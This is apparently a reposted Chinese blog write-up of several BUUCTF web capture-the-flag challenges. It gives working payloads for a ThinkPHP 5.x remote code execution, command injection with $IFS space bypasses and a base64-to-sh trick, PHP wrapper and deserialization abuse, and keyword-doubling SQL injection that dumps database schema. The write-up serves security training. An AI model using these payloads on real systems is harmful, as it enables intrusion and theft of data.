BUUCTF-WEB刷题记录-3

[BJDCTF 2nd]old-hack

thinkPHP5.x漏洞
url

http://e2bd3c6b-81cf-44e5-aad0-f0e50de23256.node3.buuoj.cn/?s=captcha

POST payload:

_method=__construct&filter[]=system&method=get&get[]=ls /
_method=__construct&filter[]=system&method=get&get[]=cat /flag

在这里插入图片描述

[极客大挑战 2019]BuyFlag

首先把cookie中的0改为1
在这里插入图片描述
在这里插入图片描述

if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

根据源代码,使用password=404a绕过password检查

在这里插入图片描述

之后moeny要是1亿才能买到flag
推测后台使用了strcmp
绕过strcmp有两个办法

  1. money以数组形式传入
  2. 用科学计数法,9e9

在这里插入图片描述

扫描二维码关注公众号,回复: 10898443 查看本文章

[RoarCTF 2019]Easy Java

这题考察了WEB-INF/web.xml泄露
在这里插入图片描述
原文见:https://www.cnblogs.com/wangtanzhi/p/12173215.html
F12查看源代码,发现读取文件功能
在这里插入图片描述
改为POST方式才能成功

在这里插入图片描述

把filename改为WEB-INF/web.xml
在这里插入图片描述

在这里插入图片描述

试试filename=WEB-INF/classes/com/wm/ctf/FlagController.class
在这里插入图片描述
base64解码得到flag

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
推测直接把输入作为ping 命令的参数,
试试http://caecc961-c2b7-41b0-827a-627a1250003c.node3.buuoj.cn/?ip=127.0.0.1;ls
在这里插入图片描述
试试http://caecc961-c2b7-41b0-827a-627a1250003c.node3.buuoj.cn/?ip=127.0.0.1;cat flag.php
在这里插入图片描述

估计是不能加空格
代替空格的办法

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能

?ip=127.0.0.1;cat$IFS$1flag.php
在这里插入图片描述

把Index读出来看看

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

回想到之前BJDCTF某一题目rci

利用变量拼接

使用?ip=127.0.0.1;x=g;cat$IFS$1fla$x.php
或者?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

flag在注释里··
在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  1. 利用data伪协议传参来绕过对text的判断
  2. 利用php://filter协议来读取useless.php

payload1:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

使用如下代码构造我们需要的对象

<?php
class Flag{  //flag.php  
    public $file = 'flag.php';  
    
}

$a = new Flag();
echo serialize($a);
?>

获得序列化结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload2:?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

[极客大挑战 2019]BabySQL

上一次在账号,这次在密码
而且这次把很多关键字如union select where from置空,需要双写

admin' uunionnion seselectlect 1,2,3 # 

admin' uunionnion seselectlect 1,(seselectlect group_concat(schema_name) frfromom infoorrmation_schema.schemata),3 # 

admin' uunionnion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),3 # 

admin' uunionnion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3 # 

admin' uunionnion seselectlect 1,(seselectlect group_concat(username) frfromom geek.b4bsql),3 # 

admin' uunionnion seselectlect 1,(seselectlect group_concat(passwoorrd) frfromom geek.b4bsql),3 # 

[0CTF 2016]piapiapia

扫描发现www.zip源码泄露
代码审计,发现update.php中有序列化函数
在这里插入图片描述
我们先到register.php下注册,然后登陆,来到update界面
在这里插入图片描述

然而update对输入进行了检查

if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

在profile.php中,又进行了反序列化

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

接下来就是利用方法了,
注意到filter功能
在这里插入图片描述

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

他会把敏感字符替换为hacker,而where长度只有5,这就导致了溢出,这就引出本题利用点,反序列化字符逃逸

简单来说就是php反序列化的字符是以";}结尾的,而如果我们在变量中构造出";},就可以窜改对象的值
本题中,我们需要把对象的photo改为config.php,就是伪造出";s:5:"photo";s:10:"config.php";}
不过还有一个注意点,就是nickname的长度被限制在10以内,我们需要使用数组的方式绕过,而变为数组之后就需要再加一个括号,就是";}s:5:"photo";s:10:"config.php";},长度为34,意味着我们需要34个where来进行溢出

最后nickname为

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:“photo”;s:10:“config.php”;}

在这里插入图片描述

进入profile.php,读出配置文件,base64解码
在这里插入图片描述

在这里插入图片描述

发布了28 篇原创文章 · 获赞 4 · 访问量 2551

猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/105384290